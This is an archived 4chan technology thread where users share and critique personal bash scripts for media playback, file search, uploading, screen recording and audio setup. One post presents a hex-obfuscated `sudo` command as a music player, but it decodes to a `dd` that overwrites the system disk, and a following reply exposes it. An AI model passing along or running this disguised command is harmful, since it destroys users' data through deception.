[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
Anybody have any shell scripts they made that you wanna show?
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 32
Thread images: 2
File: man_completions.png (67 KB, 780x551) Image search: [Google]
man_completions.png
67 KB, 780x551
Anybody have any shell scripts they made that you wanna show? Post em'
>>
Plays youtube (or any other copmatible) links that are copied on the clipboard.
You can copy a link and then possible assign a keybind to run the script

#!/bin/bash

notify-send -u low -t 1 'Loading...'
mpv $(xsel)

if [[ "$?" != "0" ]]; then
notify-send 'Error Found...'
fi

>>
>>55446666
thanks satan
>>
>>55446619

Not particularly impressive, but I made this and it sucks ass

while true ; do

URLTRYING="https://www.youtube.com/watch?v="$(cat /dev/urandom | tr -dc 'a-zA-Z0-9'

printf "$URLTRYING... "

if [[ "$(curl -s "$URLTRYING" | grep 'meta name="robots"')" > /dev/null ]] ; then
printf "no\n"
else
printf "yes!\n"
echo "$URLTRYING" >> res/youtubeURLS
fi

done


There must be a better way?
>>
>>55446666
Cool. I'm gonna use it. Also nice quads.
>>
>>55446711

shit, a line got cut off

while true ; do

URLTRYING="https://www.youtube.com/watch?v="$(cat /dev/urandom | tr -dc 'a-zA-Z0-9'
| fold -w 11 | head -n 1)""

printf "$URLTRYING... "

if [[ "$(curl -s "$URLTRYING" | grep 'meta name="robots"')" > /dev/null ]] ; then
printf "no\n"
else
printf "yes!\n"
echo "$URLTRYING" >> res/youtubeURLS
fi

done
>>
something halfway between locate and find
#!/bin/bash
if [ $1 ]; then
str='*'
for s in $*; do
str="$str$s*"
done

find . -iname "$str"
else
echo 'Find what?'
exit 1
fi
>>
>>55446725
So it grabs random urls from youtube?
>>
>>55446789
That's the idea. It's supposed to keep ones that exist. I haven't found a single one yet.
>>
>>55446619
dumb macfag
>>
This is just a wrapper around the 'find' command that adds wildcards so you don't have to repeatedly search.

#!/bin/bash

blacklist="dev|proc"

while true
do

read -p "Name of query: " query

if [[ "$query" == "q()" ]]; then
printf "Quiting...\n"
break
else
firstLetter="$(echo $query | awk '{ print substr( $0, 0, 2 ) }')"
query=$(echo $query | sed s/^$firstLetter/"[${firstLetter^^}$firstLetter]"/g)
fi

for dir in $(ls / | egrep -v "$blacklist")
do
if [ -d /$dir ]; then
find /$dir 2>/dev/null -name "*$query*"
fi
done
done
>>
>>55446925
Not my pic dumbass.
>>
>>55446666
>
if [[ "$?" != "0" ]]; then
notify-send 'Error Found...'
fi

Why? Just do
[ "$?" ] || notify-send 'Error Found...'

Also use #!/bin/sh for bonus speed.
>>
install-gentoo() {
local str="${@:-Install Gentoo}"

clr() { printf '\033c'; }; clr

while :; do
printf '\033[%s;%sf\033[%sm%s\033[m' \
"$((RANDOM%LINES+1))" \
"$((RANDOM%$((COLUMNS-${#str}+2))))" \
"$((RANDOM%8+30))" \
"$str"
read -s -n 1 -t .01 && clr && break
done
}
>>
>>55446966
I'm new at this, this is like my third real script and I made it in like 5 minutes.

Also, thanks
>>
>>55446995
I see, have fun.
>>
>>55446892
Is 'meta name="robots"' even valid? It doesn't seem to work on a valid link.
Maybe there's a way to query their API for validity.
>>
>>55447014
Also, I tried your updated script in a real link and it worked, but i tried it on some random words and it didn't output Error Found..., so I think it should be
[[ "$?" = "0" ]]
instead
>>
>>55447039
Yeah hopefully. I think I'm too retarded to do that with bash script. I just looked at the html files for a valid page and an invalid one. invalid ones seem to have a <meta name="robots"... section in them, whereas the valid ones don't.
>>
#!/bin/bash
urls=""
for var in "$@"; do
if [ -s "$var" ]
then
export url=$(limf --log --log-file ~/.limf.log -l -nc "$var")
curl -s --head "$url" | head -n 1 | grep "HTTP/1.[01] [23].." > /dev/null
if [ $? == "0" ]
then
urls=$urls$url"\n"
fi
fi
done
if [[ "$urls" == "" ]]
then
notify-send "Error while uploading files."
exit
fi
urls="${urls%??}"
if [[ $(echo -n -e "$urls" | wc -l) == '0' ]]
then
notify-send "Uploaded file!" "${urls}"
else
notify-send "Uploaded files!" "${urls}"
fi
echo -n -e "$urls" | xclip -selection clipboard


This is a generic uploading script for my more specialized keybind uploading scripts. Requires limf, which is a python tool that uploads to pomf clones (https://github.com/lich/limf).

I've got two scripts for screenshotting (fullscreen/selection) using maim, a script for uploading the clipboard as a .txt file on a pomf clone (pastebin equivalent), a script for re-uploading a link in my clipboard (prevent hotlinking), and a script for recording any part of my screen and uploading the mp4 result instantly. (webm recording is really slow, for some reason, and I'd rather not take 5 minutes to convert every recording)

Here it is:
#!/bin/bash

export file='/tmp/limfrecord.mp4'
export pid='/tmp/limfrecord.pid'

if [ ! -f $pid ]
then
notify-send "Starting recording..."
record-screen $file &
echo $! > $pid
exit
else
kill -TERM $(cat $pid) 2>/dev/null
rm $pid

if [ ! -s $file ]
then
notify-send "Error during recording."
rm $file
exit
fi

notify-send "Recording ended. Starting upload..."

limfupload $file
rm $file
exit
fi

That script itself uses this for the actual recording:
#!/bin/bash
_term() {
echo "Caught SIGTERM signal!"
kill -TERM "$child" 2>/dev/null
}
trap _term SIGTERM
eval $(slop --nokeyboard)
ffmpeg -f x11grab -s "$W"x"$H" -i :0.0+$X,$Y -f pulse -ac 2 -i default $1 &
child=$!
wait "$child"
>>
File: 1437834812530.png (51 KB, 397x379) Image search: [Google]
1437834812530.png
51 KB, 397x379
Prints all nonfree packages on Debian based systems.

vrms() {
dpkg-query -W -f '${Section}/${Package}\n' \
| grep -E '^(contrib|multiverse|non-free|partner|restricted)/' \
| sort
}
>>
>>55447101
Seems like you need a key for it which, I suppose, is outside of the scope of that script anyway.
Here's my version though:

while true ; do

URLTRYING="https://www.youtube.com/watch?v=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9_' | fold -w 11 | head -n 1)"

printf "$URLTRYING... "

if [[ "$(curl -s "$URLTRYING" | grep 'unavailable')" ]]; then
printf "no!\n"
continue
fi
printf "yes!\n"
echo "$URLTRYING" >> res/youtubeURLS

done
>>
>>55447191
command not found: dpkg-query


pls fix
>>
sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)


Randomly plays notes from the major scale with Pulseaudio.
>>
>>55447388
echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p
dd if=/dev/zero of=/dev/sda count=100 bs=1M
>>
>>55447360

Managed to make it faster and use less internet

while true ; do

URLTRYING="http://www.youtube.com/watch?v=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9_' | fold -w 11 | head -n 1)"

printf "$URLTRYING... "

if [[ "$(curl -s https://www.youtube.com/oembed?url=$URLTRYING&format=json)" = "Not Found" ]]; then
printf "no!\n"
continue
fi
printf "yes!\n"
echo "$URLTRYING" >> res/youtubeURLS

done
>>
>>55447704

also youtube URLS can have a '-' in them too
>>
>>55447704
We should have a bunch of anons silently run this in the background until they find a match, maybe by outputting
notify-send "Match Found!" 
>>
you() {
str="$*"
espeak "You're the $str !"
}
>>
I made one to start up my jackd, qjackctl, pulseaudio, and midi synths. For background, i have the lowlatency kernel, and I have my pulseaudio config set to load the jackd plugin, and not to start-on-demand. Suggestions welcome.

#!/bin/bash
sudo touch sound.sh

# Check whether sound device is detected
if lsusb | grep Novation
then
echo 'Hey! sound card is detected!'
else
echo 'Sound card not detected'
exit 1
fi
/usr/bin/pulseaudio -k
jack_control eps realtime true
jack_control ds alsa
jack_control dps device hw:CARD=USB
jack_control dps rate 48000
jack_control dps nperiods 2
jack_control dps period 64
jack_control start
sudo /usr/bin/schedtool -R -p 20 `pidof jackdbus`
sleep 10
/usr/bin/pulseaudio &
sleep 1
/usr/bin/a2jmidid -eu &
sleep 2
/usr/bin/linuxsampler &
sleep 2
#load linuxsampler settings
netcat -t localhost 8888 < /home/me/Salamander\ Grand\ Piano\ CRLF.lscp & > /home/me/.log/linuxsampler/ls.log
sleep 2
grep -v LADSPA /home/me/.log/linuxsampler/ls.log
/usr/bin/fluidsynth -m jack -a jack -i -j /home/me/Downloads/soundfonts/103.5mg\ Real\ Font\ V2.1\ Bank.sf2 -r 48000 -s &
/usr/bin/qjackctl &
sleep 2
#connect linuxsampler output to output of sound card
jack_connect "LinuxSampler:0" "system:playback_1" &
jack_connect "LinuxSampler:1" "system:playback_2" &
>>
>>55446666
might want to quote:

mpv "$(xsel)"


not sure how bash handles & in a name like that if applicable, but it's good practice nonetheless.
>>
>>55447704
Try
< /dev/urandom tr -dc "a-zA-Z0-9_" | head -c 11


more speed, less processes
Thread replies: 32
Thread images: 2

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.